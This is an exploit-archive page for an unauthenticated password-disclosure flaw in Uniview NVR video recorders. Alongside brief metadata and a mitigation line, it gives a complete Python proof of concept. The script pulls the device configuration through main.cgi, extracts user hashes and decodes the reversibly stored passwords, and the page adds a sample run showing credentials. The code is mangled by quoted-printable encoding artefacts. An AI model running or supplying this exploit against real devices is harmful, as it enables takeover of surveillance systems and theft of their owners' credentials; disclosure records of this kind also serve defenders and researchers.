header-logo
Suggest Exploit
vendor:
NVR
by:
B1t
8,8
CVSS
HIGH
Password Disclosure
200
CWE
Product Name: NVR
Affected Version From: B3118P26C00510
Affected Version To: B3220P11
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac
2020

Uniview NVR remote passwords disclosure

The Uniview NVR web application does not enforce authorizations on the main.cgi file when requesting json data. It says that you can do anything without authentication, however you must know the request structure. In addition, the users' passwords are both hashed and also stored in a reversible way. The POC below remotely downloads the device's configuration file, extracts the credentials and decodes the reversible password strings using a crafted map. It is worth mention that when you login, the javascript hashes the password with MD5 and pass the request. If the script does retrieve the hash and not the password, you can intercept the request and replace the generated MD5 with the one disclosed using this script.

Mitigation:

Enforce authorization on the main.cgi file when requesting json data and ensure that passwords are not stored in a reversible way.
Source

Exploit-DB raw data:

#Uniview NVR remote passwords disclosure
#Author: B1t

# The Uniview NVR web application does not enforce authorizations on the main.cgi file when requesting json data.
# It says that you can do anything without authentication, however you must know the request structure.
# In addition, the users' passwords are both hashed and also stored in a reversible way
# The POC below remotely downloads the device's configuration file, extracts the credentials
# and decodes the reversible password strings using my crafted map

# It is worth mention that when you login, the javascript hashes the password with MD5 and pass the request.
# If the script does retrieve the hash and not the password, you can intercept the request and replace the generated
# MD5 with the one disclosed using this script


# Tested on the following models:
#   NVR304-16E - Software Version B3118P26C00510
#   NVR301-08-P8 - Software Version B3218P26C00512
#=09=09=09=09=09=09and version B3220P11
#
# Other versions may also be affected


#Usage: python nvr-pwd-disc.py http://Host_or_IP:PORT

# Run example:

# root@k4li:~# python nvr-pwd-disc.py http://192.168.1.5
#
# Uniview NVR remote passwords disclosure!
# Author: B1t
#
# [+] Getting model name and software version...
# Model: NVR301-08-P8
# Software Version: B3218P26C00512
#
# [+] Getting configuration file...
# [+] Number of users found: 4
#
# [+] Extracting users' hashes and decoding reversible strings:
#
# User =09|=09 Hash =09|=09 Password
# _________________________________________________
# admin =09|=093b9c687b1f4b9d87ed0fdd6abbf7e33d =09|=09<TRIMMED>
# default =09|=09 =09|=09||||||||||||||||||||
# HAUser =09|=09288b836a37578141fea6527b5e190120 =09|=09123HAUser123[err
# test =09|=0951b2454c681f3205f63b8372096d990b =09|=09AA123pqrstuvwxyz
#
#  *Note that the users 'default' and 'HAUser' are default and sometimes in=
accessible remotely





import requests
import xml.etree.ElementTree
import sys


print "\r\nUniview NVR remote passwords disclosure!"
print "Author: B1t\r\n"



def decode_pass(rev_pass):
    pass_dict =3D {'77': '1', '78': '2', '79': '3', '72': '4', '73': '5', '=
74': '6', '75': '7', '68': '8', '69': '9',
                 '76': '0', '93': '!', '60': '@', '95': '#', '88': '$', '89=
': '%', '34': '^', '90': '&', '86': '*',
                 '84': '(', '85': ')', '81': '-', '35': '_', '65': '=3D', '=
87': '+', '83': '/', '32': '\\', '0': '|',
                 '80': ',', '70': ':', '71': ';', '7': '{', '1': '}', '82':=
 '.', '67': '?', '64': '<', '66': '>',
                 '2': '~', '39': '[', '33': ']', '94': '"', '91': "'", '28'=
: '`', '61': 'A', '62': 'B', '63': 'C',
                 '56': 'D', '57': 'E', '58': 'F', '59': 'G', '52': 'H', '53=
': 'I', '54': 'J', '55': 'K', '48': 'L',
                 '49': 'M', '50': 'N', '51': 'O', '44': 'P', '45': 'Q', '46=
': 'R', '47': 'S', '40': 'T', '41': 'U',
                 '42': 'V', '43': 'W', '36': 'X', '37': 'Y', '38': 'Z', '29=
': 'a', '30': 'b', '31': 'c', '24': 'd',
                 '25': 'e', '26': 'f', '27': 'g', '20': 'h', '21': 'i', '22=
': 'j', '23': 'k', '16': 'l', '17': 'm',
                 '18': 'n', '19': 'o', '12': 'p', '13': 'q', '14': 'r', '15=
': 's', '8': 't', '9': 'u', '10': 'v',
                 '11': 'w', '4': 'x', '5': 'y', '6': 'z'}
    rev_pass =3D rev_pass.split(";")
    pass_len =3D len(rev_pass) - rev_pass.count("124")
    password =3D ""
    for char in rev_pass:
        if char !=3D "124": password =3D password + pass_dict[char]
    return pass_len, password

if len(sys.argv) < 2:
    print "Usage: " + sys.argv[0] + " http://HOST_or_IP:PORT\r\n PORT: The =
web interface's port"
    print "\r\nExample: " + sys.argv[0] + " http://192.168.1.1:8850"
    sys.exit()
elif "http://" not in sys.argv[1] and "https://" not in sys.argv[1]:
=09print "Usage: " + sys.argv[0] + " http://HOST_or_IP:PORT\r\n PORT: The w=
eb interface's port"
=09sys.exit()
=09
host =3D sys.argv[1]

print "[+] Getting model name and software version..."
r =3D requests.get(host + '/cgi-bin/main-cgi?json=3D{"cmd":%20116}')
if r.status_code !=3D 200:
    print "Failed fetching version, got status code: " + r.status_code

print "Model: " + r.text.split('szDevName":=09"')[1].split('",')[0]
print "Software Version: " + r.text.split('szSoftwareVersion":=09"')[1].spl=
it('",')[0]

print "\r\n[+] Getting configuration file..."
r =3D requests.get(host + "/cgi-bin/main-cgi?json=3D{%22cmd%22:255,%22szUse=
rName%22:%22%22,%22u32UserLoginHandle%22:8888888888}")
if r.status_code !=3D 200:
    print "Failed fetching configuration file, response code: " + r.status_=
code
    sys.exit()
root =3D xml.etree.ElementTree.fromstring(r.text)

print "[+] Number of users found: " + root.find("UserCfg").get("Num")
print "\r\n[+] Extracting users' hashes and decoding reversible strings:"
users =3D root.find("UserCfg").getchildren()

print "\r\nUser \t|\t Hash \t|\t Password"
print "_________________________________________________"
for user in users:
    l, p =3D decode_pass(user.get("RvsblePass"))
    print user.get("UserName"), "\t|\t", user.get("UserPass"), "\t|\t", p


print "\r\n *Note that the users 'default' and 'HAUser' are default and som=
etimes inaccessible remotely"